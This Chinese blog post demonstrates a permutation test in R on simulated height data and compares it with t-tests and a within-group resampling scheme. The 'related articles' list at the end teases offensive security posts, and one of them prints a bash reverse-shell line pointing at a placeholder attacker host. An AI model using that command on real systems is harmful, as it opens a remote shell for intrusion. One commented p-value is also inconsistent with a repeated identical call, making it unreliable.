R语言:permutation test 置换检验

2023-05-16

1. 生成男女生身高数据各20个

男身高,mean=180, sd=10

女身高,mean=178, sd=10

set.seed(20211009)
boy=rnorm(20, 180, 10)
girl=rnorm(20, 178, 10)
stu=c(boy, girl)

# 计算初始均值差

diff1=mean(boy) - mean(girl)
diff1 #3.033677

直接做t-test,p=0.257,差异不显著。

# direct t-test
t.test(boy, girl) #p-value = 0.2578

#增加样本量,则显著性增加。
# 随着样本量的增加,微小恒定的差异会变得显著(男女身高)。
# 但是不显著的差异,增加样本量也不会显著(男女体重?)。

t.test(rep(boy, 2), rep(girl,2) ) #p-value = 0.1038
t.test(rep(boy, 3), rep(girl,3) ) #p-value = 0.04514
t.test(rep(boy, 3), rep(girl,3) ) #p-value = 0.02037
t.test(rep(boy, 5), rep(girl,5) ) #p-value = 0.009394
t.test(rep(boy, 10), rep(girl,10) ) #p-value = 0.0002287

todo: 样本量该准备多少?关键词:统计效力 power, 样本量估计

2. permutation test

随机打乱40个样本,前20个作为男生,后20个作为女生,计算均值差x。

重复n次,做出均值差x 的分布。

p值 = 绝对值超出 初始均值差diff1 的x的个数  /  实验重复次数n。

# permutation test
doTest=function(len=100, seed=20211009){
  # sampling
  set.seed(seed)
  diffMeans=c()
  for(i in 1:len){
    groupA=sample( seq(1,40), 20)
    groupB=setdiff( seq(1,40), groupA)
    #
    meanA=mean( stu[groupA] ) 
    meanB=mean( stu[groupB] )
    diffMeans = c(diffMeans, meanA - meanB)
  }
  
  # plot
  hist(diffMeans, n=100, sub=paste("repeates:", len) )
  abline(v=diff1, lty=2, col="red", lwd=2)
  
  # method1, p = bigger / n
  p1= 2* as.numeric( table(diffMeans > diff1)[2] ) / len; #p1

  return( c(len, p1))
}

doTest(100) #0.28
doTest(1000) #0.252
doTest(10000) #0.2544
doTest(20000) #0.2604
doTest(40000) #0.2579
doTest(100000) #0.25928
# p value almost doesn't change as repeate number increases.

这个p=0.25值和直接t-test的p值很接近,而且随着重复次数n的增加,p几乎不变。

3. 组内重抽样?

从男生、女生中各抽取一半样本,不放回抽样,计算分别计算男女生平均身高x1, x2,然后计算其差异是否显著。

# method: sampling within group
doTest2=function(len=100, seed=20211009){
  # sampling
  set.seed(seed)
  diffMeans=c()
  for(i in 1:len){
    groupA=sample( seq(1,20), 10)
    groupB=sample( seq(1,20), 10)
    #
    meanA=mean( boy[groupA] ) 
    meanB=mean( girl[groupB] )
    diffMeans = c(diffMeans, meanA - meanB)
  }
  # plot
  hist(diffMeans, n=100, sub=paste("repeates:", len) )
  abline(v=diff1, lty=2, col="red", lwd=2)
  
  # method2, H0: diffMeands=0
  p2= t.test(diffMeans)$p.value
  
  return( c(len, p2))
}

doTest2(100) #5.998058e-22
doTest2(100,seed=20211008) #9.385248e-19

doTest2(200) #4.097417e-39

doTest2(500) #2.603963e-104
doTest2(1000) #1.907446e-199
doTest2(2000) #0
# p value decrease dramatically as repeate number increases.

 组内重抽样,计算每组内男女生平均身高的差,重复n次,t检验该差是否不等于0。

结果p值随着重复次数n的增加而显著降低。这一点不符合预期,p值不稳定。


小样本量中的计算统计量,应该怎么计算其p值呢?

比如比较2个样本的均值是否有显著差异?先计算均值,然后就2个样本。。。

还有其他复杂统计量的比较。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

R语言:permutation test 置换检验 的相关文章

  • SSRF漏洞漏洞利用及防范

    文章目录 1 简介 2 攻击 2 1 1 DNSLOG 2 1 2 代码 3 防范 1 简介 SSRF Server Side Request Forgery 漏洞是一种 Web 应用程序安全漏洞 它允许攻击者构造非法请求并让 Web 服务
  • 渗透测试-信息收集之Google hacking + GitHub

    1 简介 Google hacking 是一种通过使用 Google 搜索引擎中的高级运算符来查找存储在网站上的敏感信息的技术 这可能包括登录凭据 敏感文件和其他敏感数据等信息 GitHub 信息收集是通过分析目标在 GitHub 平台上的
  • 反弹shell的命令大全

    bash gt bin bash i gt dev tcp attackerip 4444 0 lt amp 1 2 gt amp 1 gt bash i gt amp dev tcp attackerip 4444 0 gt amp 1
  • 水平/垂直越权攻击手段及实战

    文章目录 越权 1 水平越权 1 1 攻击流程 1 2 代码 1 3 实战 2 垂直越权 2 1 攻击流程 3 1 代码 越权 越权攻击 Privilege Escalation 是指攻击者通过利用系统漏洞 配置错误或其他安全漏洞等手段 从
  • MySQL常用的show语法

    MySQL show语法 SHOW BINARY LOGS SHOW BINARY LOGS 列出服务器上的二进制日志文件 SHOW BINLOG EVENTS 显示二进制日志中的事件 如果未指定 xff0c 则显示第一个二进制日志 mys
  • 渗透测试快速判断操作系统

    1 TTL TTL Time to Live 是一个IP数据包的字段 xff0c 用于限制在网络中传播的次数 它是一个8位字段 xff0c 表示数据包在网络中允许通过的路由数 每经过一个路由器 xff0c TTL就会减1 如果TTL为0 x
  • 实战中的.git信息泄露利用

    1 简介 其实这个是非常简单的哈 xff0c 但很多人看见 git不知道这个漏洞就放弃了 git文件夹是一种常见的源代码版本控制系统 xff08 如Git xff09 使用的文件夹 xff0c 用于跟踪文件和文件夹的更改 如果这个文 件夹被
  • 报错注入写shell

    文章目录 写shell条件 最常见的注入写shell方式 报错注入写shell 错误示范 lines starting by 失败原因 其他语法 lines terminated by 写入 fields terminated by 写入
  • oracle 删除主键

    删除主键一定要一起把索引删除 切记 span class token keyword alter span span class token keyword table span x span class token keyword dro
  • sql 取日期的年月日

    span class token keyword select span span class token keyword year span span class token punctuation span create time sp
  • 新专栏[飞控] 要开始学点新东西了.和第一步.硬件接线

    我淘宝买了便宜的无人机 stm32的板子 swd烧录接口 uart1串口通信 分两块 一块无人机 一块遥控器 无人机的板子不知上面俩接口 回去要看一下 下图是遥控器的这俩接口 SWD uart1 其中串口通信比较简单 可以直接连已经有的US
  • 部署环境从docker swarm迁移到k8s后kie-server的发布方式变化(二)

    正如后来的考虑 如果外接maven私库照理说是ok的 这样去掉volume的设计整个流程更加的自动化标准化 开搞 第一步先部署一个nexus yaml文件如下 apiVersion v1 kind Namespace metadata na
  • 讨逆檄文..

    五一之后 就要开始我们的征战旅程了 激动不已 说起来当代人是什么样就可以看到后代会是什么样 就像微博里说的 是个人都会让后代不要输起跑线 巨婴的缺点是什么是他什么都输不起 他会放大自己面临的困难 病态的 他没有为自己负责的意识 因为一直被负
  • k8s安装监控工具metrics-server

    我们需要监控cpu和内存的使用率 以便提供硬件资源的申请采购建议 也方便我们知道运行负荷 而不是糊里糊涂出了问题再去解决或者工具自动解决了而我们不知道 话说回来集群的好处就是低成本的达到高性能 性能不去监控就有点太不专业了 但 k8s居然不
  • 给k8s集群添加负载均衡的能力

    常识 k8s没有自带负载均衡能力 需云服务提供商来做负载均衡 或者自己装负载均衡控制器 负载均衡控制器有很多 这次装Ingress Nginx https kubernetes github io ingress nginx 文档里根据环境
  • NestJs框架快速入门(V6.5)

    Nest是构建高效可扩展的 Node js Web 应用程序的框架 默认使用JavaScript的超集TypeScript进行开发 环境准备 查看node和npm版本 node version v10 16 0 npm version 6
  • 公车艳遇_习惯累积沉淀_新浪博客

    今天坐b1我又跟女生们年轻小姑娘挤在了一起 用她们们是们凸凹优质的身材把我挤在门上脚都挨不着地 当然没这么严重 反正一路上脸都有点烫 一路上都不自觉的猥琐笑容 下了车还在压抑着笑 一低头就不小心笑出声
  • [转载]动物伦理,为了人的尊严_习惯累积沉淀_新浪博客

    原文地址 xff1a 动物伦理 xff0c 为了人的尊严 作者 xff1a 评论员李铁 道德就是拿火腿肠喂流浪狗喂到心碎流泪 xff0c 而完全不用去顾虑猪的感受 这是一位网友对爱狗人士拯救流浪狗的讥讽 xff0c 不少人觉得这句话绝妙 x
  • GitLab的安装部署

    微信公众号 xff1a 运维开发故事 xff0c 作者 xff1a double冬 本文主要讲述了GitLab安装部署的两种方式 xff0c 以及遇到的一些问题 一 GitLab Server的搭建 参考 xff1a https about
  • Linux常用的软件包管理命令

    RPM xff08 红帽软件包管理器 xff09 常用的 RPM 软件包命令 命令作用安装软件的命令格式rpm ivh filename rpm升级软件的命令格式rpm Uvh filename rpm卸载软件的命令格式rpm e file

随机推荐